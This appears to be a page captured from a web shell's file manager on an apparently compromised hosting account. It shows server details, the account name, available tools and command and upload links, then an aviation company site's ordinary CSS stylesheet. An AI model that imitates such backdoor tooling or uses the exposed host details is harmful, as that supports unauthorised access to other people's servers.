Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/ziontechaviation/css/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
body{ overflow-x: hidden; font-family: 'Noto Sans', sans-serif; background:rgba(0,0,0,0.9); color:white; } :root{--main-color:#b18250;} .hcolor{color:var(--main-color);} .my-btn{color:black; background-color: var(--main-color); border-radius:10px; font-weight:500;transition:0.2s;} .my-btn:hover{box-shadow:10px 10px 5px 0px rgba(63, 63, 63, 0.75); } .social a{color:white !important ;} .top-header a{color:white;} .top-header a:hover{color:var(--main-color);} /*navbar*/ .navbar-nav {column-gap: 28px;} .bg-nav {background:rgba(0, 0, 0, 0.711); color:white;} .navbar-dark .navbar-nav .nav-link {color: rgb(255 255 255);} /*banner*/ .banner{margin-top:-80px;} @-webkit-keyframes zoom{ from{ -webkit-transform: scale(1, 1); } to { -webkit-transform: scale(1.5, 1.5); } } @keyframes zoom { from { transform: scale(1, 1); } to { transform: scale(1.5, 1.5); } } .carousel-inner .carousel-item > img { -webkit-animation: zoom 20s; animation: zoom 20s; } .carousel-item img {height:730px;} .carousel-caption{top:25%; /*background-color: rgba(0, 0, 0, 0.384);*/ bottom:auto; color:black;} .carousel-caption h1 { text-shadow:2px 2px var(--main-color);} .carousel-caption h4 {text-shadow:2px 2px var(--main-color);} /* about */ .about{background:url('../images/left-1.png')75% 75% no-repeat; } /*.about{background:linear-gradient(rgba(0,0,0,0.7),rgba(0,0,0,0.9)),url('../images/sky.jpg') center center no-repeat fixed; background-size: cover;}*/ .why-choose{background:linear-gradient(rgba(0, 0, 0, 0.81),rgba(0, 0, 0, 0.9)),url('../images/sky.jpg') center center no-repeat fixed; background-size: cover;} /* .btn-new:active, .btn-new:hover, .btn-new:focus { outline: 0!important; outline-offset: 0; } .btn-new::before, .btn-new::after { position: absolute; content: ""; } .btn-new { position: relative; display: inline-block; width: auto; height: auto; background-color: transparent; border: none; cursor: pointer; /* margin: 0px 25px 15px; min-width: 150px; } .btn-new span { position: relative; display: inline-block; font-size: 14px; font-weight: bold; letter-spacing: 2px; text-transform: uppercase; top: 0; left: 0; width: 100%; padding: 15px 20px; transition: 0.3s; } /*--- btn-2 --- .btn-2::before { background-color: rgb(28, 31, 30); transition: 0.3s ease-out; } .btn-2 span { color: rgb(28, 31, 30); border: 1px solid rgb(28, 31, 30); transition: 0.2s; } .btn-2 span:hover { color: rgb(255,255,255); transition: 0.2s 0.1s; } /* 9. hover-slide-right .btn-new.hover-slide-right::before { top: 0; bottom: 0; left: 0; height: 100%; width: 0%; } .btn-new.hover-slide-right:hover::before { width: 100%; } */ /*********/ .navbar { background-color: rgba(0, 0, 0, 0.711); border: none; color: white; z-index: 100; transition: background-color 1s ease 0s; } .navbar-default .navbar-brand { margin-top: 10px; color: white; } .navbar-default .navbar-brand:hover { color: #c57ed3; border: 1px solid #c57ed3; } .navbar-default .navbar-nav > li > a { color: white; margin: 10px 5px 5px 5px; } .navbar-default .navbar-nav > li > a:hover, .navbar-default .navbar-nav > li > a:active, .navbar-default .navbar-nav > li > a:focus { color: #c57ed3; border: 1px solid #c57ed3; } .navbar-default .navbar-nav > li > a:visited { color: #c57ed3; text-decoration: none; } .navbar-default .navbar-nav > .active > a, .navbar-default .navbar-nav > .active > a:hover, .navbar-default .navbar-nav > .active > a:focus { background-color: transparent; color: #c57ed3; } .navbar-default .navbar-toggle { border-color: #c57ed3; } .navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus { background-color: #490d40; } .navbar-default .navbar-toggle .icon-bar { color: #c57ed3; background-color: #c57ed3; } .navbar-default .navbar-collapse.collapse.in ul { background-color: #490d40; } /* Solid class attached on scroll past first section */ .navbar.solid { background-color: black; transition: background-color 1s ease 0s; box-shadow: 0 0 4px grey; } .navbar.solid .navbar-brand { color: #c57ed3; transition: color 1s ease 0s; } .navbar.solid .navbar-nav > li > a { color: white; transition: color 1s ease 0s; } .navbar .nav-link:hover{color:var(--main-color)!important;} /*************/ footer{background:#000;} footer a{text-decoration:none; color:white;} footer a:hover{ color:var(--main-color);} /*************/ .charters .carousel-wrap { margin: 40px auto; padding: 0 5%; width: 80%; position: relative; } .carousel-wrap { margin: 40px auto; padding: 0 3% ; width: 90%; position: relative; } /* fix blank or flashing items on carousel */ .owl-carousel .item { position: relative; z-index: 100; -webkit-backface-visibility: hidden; } /* end fix */ .owl-nav > div { margin-top: -26px; position: absolute; top: 50%; color: #cdcbcd; } .owl-nav i { font-size: 32px; } .charters .owl-nav .owl-prev { left: -30px; display:none; } .charters .owl-nav .owl-next { right: -30px; display:none; } .owl-nav .owl-prev { left: -30px; } .owl-nav .owl-next { right: -30px; } .charters .owl-carousel .owl-item img { width: auto !important;} /*************/ /*-------------------------------------------------------------- # Services Section --------------------------------------------------------------*/ .services{background:linear-gradient(rgba(0,0,0,0.9),rgba(0,0,0,0.8)),url('../images/banner1 (2).jpg')center center fixed no-repeat; background-size:cover;} .services .img { border-radius: 8px; overflow: hidden; } .services .img img { transition: 0.6s; } .services .details { padding: 50px 30px; margin: -34px 30px 0 30px; transition: all ease-in-out 0.3s; /*background: white;*/ position: relative; background: rgba(70, 69, 69, 0.89); text-align: center; border-radius: 8px; box-shadow: 0px 0 25px rgba(0,0,0, 0.1); } .services .details .icon { margin: 0; width: 72px; height: 72px; background: var(--main-color); border-radius: 50px; display: flex; align-items: center; justify-content: center; margin-bottom: 20px; color: black; font-size: 28px; transition: ease-in-out 0.3s; position: absolute; top: -36px; left: calc(50% - 36px); border: 6px solid black; } .services a{text-decoration:none;} .services .details h3 { color: #fff;/*var(--color-default);*/ font-weight: 700; margin: 10px 0 15px 0; font-size: 22px; transition: ease-in-out 0.3s; } .services .details p { line-height: 24px; font-size: 14px; margin-bottom: 0; } .services .service-item:hover .details h3 { color: #fff; } .services .service-item:hover .details .icon { background: black; border: 2px solid var(--main-color); } .services .service-item:hover .details .icon i { color: var(--main-color); } .services .service-item:hover .img img { transform: scale(1.2); } /*************************/ .heli-tours .img{ height:150px; width:100%; } .heli-tours .card{ transition:0.5s; cursor:pointer; background: rgba(70, 69, 69, 0.89) !important; padding:10px; } .heli-tours .card-title{ /*font-size:15px;*/ transition:1s; cursor:pointer; } .heli-tours .card-title i{ font-size:15px; transition:1s; cursor:pointer; color:#ffa710 } .heli-tours .card-title i:hover{ transform: scale(1.25) rotate(100deg); color:#18d4ca; } .heli-tours .card:hover{ transform: scale(1.05); box-shadow: 10px 10px 15px rgba(0,0,0,0.3); } /*.heli-tours .card-text{*/ /* height:80px; */ /*}*/ .heli-tours .card::before, .card::after { position: absolute; top: 0; right: 0; bottom: 0; left: 0; transform: scale3d(0, 0, 1); transition: transform .3s ease-out 0s; background: rgba(0, 0, 0, 0.1); content: ''; pointer-events: none; } .heli-tours .card::before { transform-origin: left top; } .heli-tours .card::after { transform-origin: right bottom; } .heli-tours .card:hover::before, .card:hover::after, .card:focus::before, .card:focus::after { transform: scale3d(1, 1, 1); } /***********************/ .charter-services { text-align: center; } /*.charter-services h1 {*/ /* font-size: 3em;*/ /* color: #fff;*/ /* text-transform: uppercase;*/ /*}*/ .charter-img img{height:250px;} .charter-services .charter-items { display: flex; justify-content: center; align-items: center; gap: 5em 2em; position: relative; z-index: +1; } .charter-services .charter-item { width: 400px; transition: 1s ease-in-out; } .charter-services .charter-info h3 { color: #242424; text-transform: uppercase; font-size: 1em; display: flex; justify-content: center; align-items: center; height: var(--block-height); font-family: 'Archivo', sans-serif; } .charter-services .charter-info p { color: #fff; /* font-size: 1em; */ visibility: hidden; text-align: left; line-height: 26px; } .charter-services .charter-info-container { display: flex; justify-content: center; transition: 1s ease-in-out; position: relative; } .charter-services .charter-info { position: absolute; width: 330px; margin: -32px auto; height: var(--block-height); border-radius: 10px; background: #b18250; cursor: pointer; z-index: +1; padding: 0px 20px; transition: 0.3s ease-in-out; } .charter-services .charter-info .charter-hide{ visibility: hidden; } .charter-services .charter-info .charter-info-btn { display: flex; justify-content: right; padding: 2px 15px 15px 15px; } .charter-services .charter-info-container:hover .charter-info { height: auto; transition: 0.2s ease-in-out; } .charter-services .charter-info-container:hover .charter-info::after { content: " "; position: absolute; background-image: url(../../img/home/ticket-cut.svg); width:100%; height: 15px; left:0; top:-7px; } /*.charter-services .charter-img:hover .charter-hide {visibility:visible;}*/ .charter-services .charter-info-container:hover .charter-hide { visibility: visible; } .charter-services .charter-info-container:hover h3 { padding: 15px 0px 0px 0px; color:#fff; height: auto; } .charter-services .charter-info-container:hover .charter-info p { visibility: visible; margin-bottom: -1px; } .charter-services { --block-height: 58px; } @media(max-width:1400px) { .charter-services .charter-info{ width: 330px; } .charter-services .charter-item{ width: 370px; } .charter-services .charter-items{ gap: 5em 0em; } } @media(max-width:768px) { .charter-services .charter-hide{ visibility: visible!important; } .charter-services .charter-info{ position: relative!important; height: auto!important; } .charter-services .charter-info h3 { color: #fff; height: auto; } .charter-services .charter-info::after { content: " "; position: absolute; background-image: url(../../img/home/ticket-cut.svg); width:100%; height: 15px; left:0; top:-7px; } .charter-services .charter-info-container h3 { padding: 15px 0px 0px 0px; } .charter-img img{height:auto;} } /************/ .charters-airocraft{background:linear-gradient(rgba(0, 0, 0, 0.81),rgba(0, 0, 0, 0.9)),url('../images/sky.jpg') center center no-repeat fixed; background-size: cover;} .charters-airocraft .card{background:transparent;} .charters-airocraft .card-body a:hover{color:white;} /***********************/ #demo{ background: linear-gradient(112deg, #363636b5 50%, #73624b82 50%); max-width: 900px; margin: auto; } #demo .carousel-caption { position: initial; z-index: 10; padding: 5rem 8rem; color: rgba(255, 255, 255, 0.856); text-align: center; font-size: 1.2rem; font-style: italic; font-weight: bold; line-height: 2rem; } @media(max-width:767px){ #demo .carousel-caption { position: initial; z-index: 10; padding: 3rem 2rem; color: rgba(255, 255, 255, 0.856); text-align: center; font-size: 0.7rem; font-style: italic; font-weight: bold; line-height: 1.5rem; } } #demo .carousel-caption img{ width: 6rem; border-radius: 5rem; margin-top: 2rem; margin:0 auto; } @media(max-width:767px){ #demo .carousel-caption img{ width: 4rem; border-radius: 4rem; margin-top: 1rem; } } #image-caption{ font-style: normal; font-size: 1rem; margin-top: 0.5rem; } @media(max-width:767px){ #image-caption{ font-style: normal; font-size: 0.6rem; margin-top: 0.5rem; } } #demo i{ background-color: rgb(162, 18, 25); padding: 1.4rem; } @media(max-width:767px){ #demo i{ padding: 0.8rem; } } #demo .carousel-control-prev{ justify-content: flex-start; } #demo .carousel-control-next { justify-content: flex-end; } #demo .carousel-control-prev,.carousel-control-next{ transition: none; opacity: unset; } /**********/ .abt-banner{background:linear-gradient(rgba(0,0,0,0.5),rgba(0,0,0,0.6)),url('../images/PAGE BACKGROUND PHOTO.jpg') center center no-repeat fixed; background-size:cover; padding:80px 0; text-align:center; text-transform:uppercase;} /*.bg-heading {background:rgba(0,0,0,0.6); padding:10px;}*/ /*****************/ .animated { animation: up-down 2s ease-in-out infinite alternate-reverse both; } @media (max-width: 991px) { .animated { -webkit-animation: none; animation: none; } } @-webkit-keyframes up-down { 0% { transform: translateY(10px); } 100% { transform: translateY(-10px); } } @keyframes up-down { 0% { transform: translateY(10px); } 100% { transform: translateY(-10px); } } /**********/ .abt-info{background:url('../images/left-1.png')75% 75% no-repeat; } /***********/ .contact-banner{background:linear-gradient(rgba(0,0,0,0.5),rgba(0,0,0,0.6)),url('../images/PAGE BACKGROUND PHOTO.jpg') center center no-repeat fixed; background-size:cover; padding:80px 0; text-align:center; text-transform:uppercase;} .contact-info a{color:white;} .contact-info a:hover{color:var(--main-color);} .set-bg{background:#2e2e2e;} .my-style{background:var(--main-color);} /*********/ /* return to top */ #btnreturntotop { display: none; position: fixed; bottom: 40px; right: 21px; z-index: 9999; border: none; outline: none; background-color: rgb(162, 18, 25); color: white; cursor: pointer; border-radius: 50%; font-size: 18px; height:40px; width:40px; } /******/ #btnreturntotop i{margin:5px 3px;} /************/ .hover-rotate { overflow: hidden; width: 100%; } .hover-rotate img { transition: all 0.4s; box-sizing: border-box; max-width: 100%; } .my-cards:hover img { transform: scale(1.3) rotate(5deg); filter: hue-rotate(180deg); } /*******/ aside.fixed {position: fixed; width:26.39%;} .video-gal img{height:250px;} @media (max-width: 991px){ aside.fixed {position: static; width:100%;}} /*************/ @media (max-width: 991px) { .carousel-item img {height:auto;}} /**********/ .copyright a{color:white;} .copyright a{color:--var(main-color);} /**********/ .banner-section{background:linear-gradient(rgba(0,0,0,0.8),rgba(0,0,0,0.8)),url('../images/PAGE BACKGROUND PHOTO.jpg') fixed center center no-repeat; background-size:cover; padding:100px 0; margin-top:-80px;} .banner-section p{letter-spacing:2px; line-height:30px;} .form-select {color:gray;} /***********/ .heli-tours .card img{height:250px; object-fit:cover;} .box{border:4px dotted gray;} /***************/ .charters-airocraft img {height:250px; object-fit:cover;} /***************/ .gallery img{height:300px; object-fit:cover;} .service-info img{height:300px; object-fit:cover;} .my-box{ border:1px solid #e7e7e736;}